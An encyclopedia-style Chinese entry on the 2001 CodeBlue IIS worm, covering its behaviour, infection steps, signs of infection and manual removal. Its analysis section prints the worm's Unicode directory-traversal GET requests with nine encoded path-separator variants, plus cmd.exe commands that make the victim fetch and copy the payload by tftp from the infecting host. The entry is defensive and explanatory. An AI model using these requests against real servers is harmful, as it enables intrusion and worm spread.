藍色代碼

藍色代碼

藍色代碼是一種名為Worm.IIS.CodeBlue的新型惡性網路蠕蟲病毒。“藍色代碼”是一種專門攻擊WINDOWS2000系統的惡性網路蠕蟲病毒。2001年9月5日國家計算機病毒應急處理中心成員單位、北京江民公司接到告急用戶後,連夜編寫出了新的升級防毒庫,並立即將該病毒上報“國家計算機病毒應急處理中心”。

基本介紹

  • 中文名:藍色代碼
  • 外文名:Worm.IIS.CodeBlue
  • 屬性網路蠕蟲病毒
  • 國內發現時間:2001年9月5日
  • 影響系統:WINDOWS2000
  • 解決辦法:防毒軟體,下載補丁
病毒特性,病毒分析,感染執行緒,關於D.VBS,解決方法,感染特徵,手動清除方法,

病毒特性

藍色代碼界面“藍色代碼”蠕蟲病毒感染WindowsNT和Windows2000系統伺服器,由於其攻擊微軟inetinfo.exeIIS服務程式的IIS漏洞(請見IISUnicode漏洞分析),並植入名為SvcHost.EXE的黑客程式運行,該蠕蟲病毒將在伺服器記憶體中不斷地生成新的執行緒,最終導致系統運行緩慢,甚至癱瘓;如果作業系統是Windows2000會將該系統的IISAdmin服務停止運行,導致無法對外提供Web服務,伺服器徹底癱瘓。
蠕蟲運行會生成“C:\d.vbs”腳本程式,該腳本程式運行時將停止所有“.ida,.idq,.printer”的系統服務;同時嘗試下載“httpext.dll”到“C:”以及“C:\inetpubscriptshttpext.dll”。
紅色代碼”相比,紅色代碼主要攻擊IIS中的索引服務,而“藍色代碼”針對IIS自身的Unicode漏洞,攻擊範圍更廣,傳染性更強,黑客程式運行後將全面控制被感染的系統,同時修改註冊表中有關IIS的設定,並在開機時啟動程式SOFTWAREMICROSOFTWINDOWSCURRENTVERSIONRUN的註冊表項,添加了自動運行黑客程式SvcHost.EXE的功能,重新啟動時黑客程式將自動運行,因此造成的破壞性將比紅色代碼更加可怕。
“藍色代碼”同時還不斷訪問211.99.196.135綠盟科技的網站,期望象紅色代碼一樣,對綠盟科技的網站進行Dos攻擊。據反病毒專家介紹說,該病毒比“紅色代碼II”有更強大的攻擊性,計算機一旦感染該病毒,將大量占用系統記憶體,導致系統運行速度下降直至系統癱瘓
專家告誡廣大網際網路用戶,儘快升級防病毒軟體,如最新版反病毒軟體Kaspersky(卡巴斯基),這樣可有效的防範該病毒的侵犯。

病毒分析

網路傳播的,它不感染檔案
一、本病毒是基於網路傳播的,它不感染檔案。
該病毒包括三個檔案:svchost.exe,d.vbs,httpext.dll,其中httpext.dll運行時會產生一個svchost.exe,svchost.exe運行時會產生d.vbs。svchost.exe和httpext.dll都是用VC編寫的,svchost.exe在編譯完成後用UPX進行了壓縮;httpext.dll使用了Microsoft的MFC。本病毒主要主向被感染主機發GET請求,GET請求是WEB服務的基本命令,它向WEB伺服器請求一個頁面,WEB伺服器可以運行某些程式,來生成這些頁面。對於IIS伺服器來說,它一般有一個虛擬根scripts(安裝IIS時自動建立的),該虛擬根下的腳本或程式可以根據用戶的請求進行執行,虛擬根對應於磁碟上一個目錄,IIS嚴重問題在於用戶能通過該虛擬根執行它對應目錄的上一級目錄或其它目錄中的程式,但這需要利用IIS服務的UNICODE漏洞,即將某些字元串在作為UNICODE轉換時錯誤地轉換為“\”,即WINDOWS的路徑分隔設定,因此使客戶可以執行IIS伺服器上的一些檔案。
病毒初始傳染條件
二、該病毒初始傳染條件為,httpext.dll在C糟根目錄,啟動svchost.exe即可感染,開始感染其它機器者稱為本機,被感染對象稱為被感染主機,下同。
第一步:本機svchost進程調用_beginthread函式創建一個執行緒,該執行緒建立一個基本於UDP協定的檔案傳輸伺服器,即tftp伺服器,它的作用就是向請求者傳送檔案httpext.dll(它將檔案C:\httpext.dll讀入記憶體,然後等待用戶請求)。
第二步:本機svchost進程註冊一個視窗類,類名為worm,按此類創建一個隱藏視窗
第三步:這一步到第六步都是本機svchost進程的視窗函式在處理WM_CRERATE訊息時完成的。首先1、在本機設立一個已感染標識,為一全局的名為CodeBlue的原子(GlobalAtom);2、修改註冊表,在HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN中建一項,名為DomainManager以在每次啟動系統時自動運行svchost.exe;3、將C:\svchost.exe和C:\httpext.dll檔案改為系統、隱藏屬性。
第四步:產生檔案C:\D.VBS,並啟動wscript.exe運行該檔案。如果本機的當前操作系統是NT5(即WINDOWS2000)的話,查找本機的inetinfo.exe進程,並試圖結束該進程。
第五步:調用_beginthread函式創建100個感染執行緒。每創建一個感染執行緒,休眠137毫秒,再創建下一個感染執行緒。
第六步:休眼5秒後將本機的C:\D.VBS檔案刪除。

感染執行緒

第一步、調用系統APIGetSystemTime取本機系統當前時間(UTC時間),如果小時數大於10且小於11(不可能滿足的條件),攻擊211.99.196.135(綠盟英文網站)。
第二步、隨機生成一個IP位址,如果得到的IP位址為A類地址,則將IP位址的後兩段變為自己IP位址的後兩段,否則,直接用計算出的IP位址,該地址即為被感染主機的IP位址。連線被感染主機的80連線埠,如果連線失敗,根據IP位址休眠最多4097毫秒後,重複這一步感染下一個地址;如果成功再向被感染主機傳送請求“HEAD/HTTP/1.0”請求,此請求要求被感染主機回答是否支持HTTP1.0且為IIS伺服器,如果不是IIS伺服器,重複這一步,感染下一個地址,如果是,繼續下一步。
第三步、檢測被感染主機的IIS伺服器的UNICODE漏洞,這種檢測最多重試7次,如果成功,轉下步,否則,轉第一步。檢測過程如下:
向被感染主機傳送“GET/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+dir”請求,如果成功,則表明漏洞存在。其中XX是一個字元串,IIS伺服器會把它作UNICODE字元串解釋,解釋結果錯誤地為“\”,也就是WINDOWS的路徑分隔設定,這就是UNICODE漏洞。該病毒帶了9個可能的字元串,為:
%255c
%c1%1c
%c0%2f
%c0%af
%c1%9c
%%35%63
%%35c
%25%35%63
%252f
如果漏洞存在,此請求導致被感染主機執行winnt/system32目錄下的cmd.exe程式,“+”表示空格,“?”號表示後面是參數,“/c”表示以控制台方式執行後面的命令,它會將被感染主機控制台的輸出送給本機。“dir”是在被感染主機上要執行的命令。病毒並不關心命令執行的結果,而是只是關心該命令是否被執行,如果執行了,表明漏洞存在。
第四步、調用_beginthread函式創建一個感染執行緒,向被感染主機傳送請求:“GET/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+tftp+-I+YY+get+httpext.dll”XX為檢測到的漏洞串,YY為本機IP位址,它的作用是啟動被感染主機winnt/system32目錄的tftp.exe程式,“-i”讓該程式以二進進方式從本機取httpext.dll(本機已在svchost.exe啟動時建立了tftp伺服器),httpext.dll被傳到被感染主機scripts目錄中。
第五步、休眼2秒,向被感染主機發請求:“GET/scripts/..XX..XX..XX..XX..XX../winnt/system32/cmd?/c+copy+httpext.dll+c:\”,它的作用是讓被感染主機將scripts目錄httpext.dll檔案從拷貝到被感染主機的C糟根目錄下。
第六步、向被感染主機發請求:“GET/scripts/httpext.dll”。此請求導致被感染主機的IIS伺服器運行scripts目錄中的httpext.dll,httpext.dll將檢查被感染主機是否有CodeBlue這個全局原子(GlobalAtom),如果沒有,生成svchost.exe,並運行它。這一步如果失敗,將最多重試3次。至此感染過程完成。

關於D.VBS

腳本檔案將刪除本機IIS服務的三個影射.IDA、.IDQ和.printer。

解決方法

1.用防毒軟體,如KV3000,RAV2001
2.用微軟補丁包:
下載地址:http://www.microsoft.com/Windows2000/downloads/critical/q293826/download.asp

感染特徵

1.打開資源管理器,到C糟根目錄“c:\”,看一看是否存在c:\svchost.exe,c:\httpext.dll,由於這兩個檔案帶有隱藏屬性,因此需要到資源瀏覽器的“工具”選單中“資料夾選項”的“查看”頁,將“顯示所有檔案和資料夾”選項選上,才能確定;
2.到開始選單的“運行”項,使用regedit.exe註冊表編輯器,到“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”看一看是否存在“DomainManager”:“c:\svchost.exe;
3.打開任務管理器,到“查看”選單中的“選擇列”,將其中“執行緒計數”選項選上,確定會到“進程”頁,看一看svchost.exe所用的執行緒數是否超過100;CodeBlue的執行緒數一般會是104,105左右;
4.打開資源管理器,到“C:\inetpub\scripts\”目錄,看一看是否有httpext.dll。
通過以上的特徵,您可以很方便識別CodeBlue的存在,由於CodeBlue蠕蟲非常狡猾,為了降低大家的警覺性,程式檔案的名字採用了系統中已經有的檔案svchost.exe(C:\winnt\system32\),httpext.dll(C:\winnt\system32\inetsrv\),如果用戶不小心誤刪除,可以到相同版本的機器上拷貝相應檔案,或者重新安裝WindowsNT/2000,如果是Win2000以上版本到c:\winnt\system32\dllcache下拷貝就可以。

手動清除方法

1、請先關掉IIS服務,避免在此過程中再度受到網上的漏洞攻擊;
2、啟動進程管理器,打開執行緒瀏覽,然後查看名稱為svchost.exe的進程,通常系統自己會有兩個,而CodeBlue的執行進程也是這個名字。系統的與CodeBlue的進程最顯式的區別在於CodeBlue的進程具有相當多的執行緒,通常CodeBlue的svchost.exe進程含有100個以上的執行緒;
3、一個一個關掉這些CodeBlue的svchost.exe進程;
4、刪除C:\目錄下的svchost.exe檔案和httpext.dll檔案,注意CodeBlue的這兩個檔案是具有隱含、系統屬性的,需要打開查看所有檔案選項;
5、刪除C:\inetpub\scripts\目錄下的大小為46587或者47099的httpext.dll檔案。
6、打開註冊表編輯器,找到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run,刪除其中以DomainManager命名的鍵值
7、完成。

相關詞條

熱門詞條

聯絡我們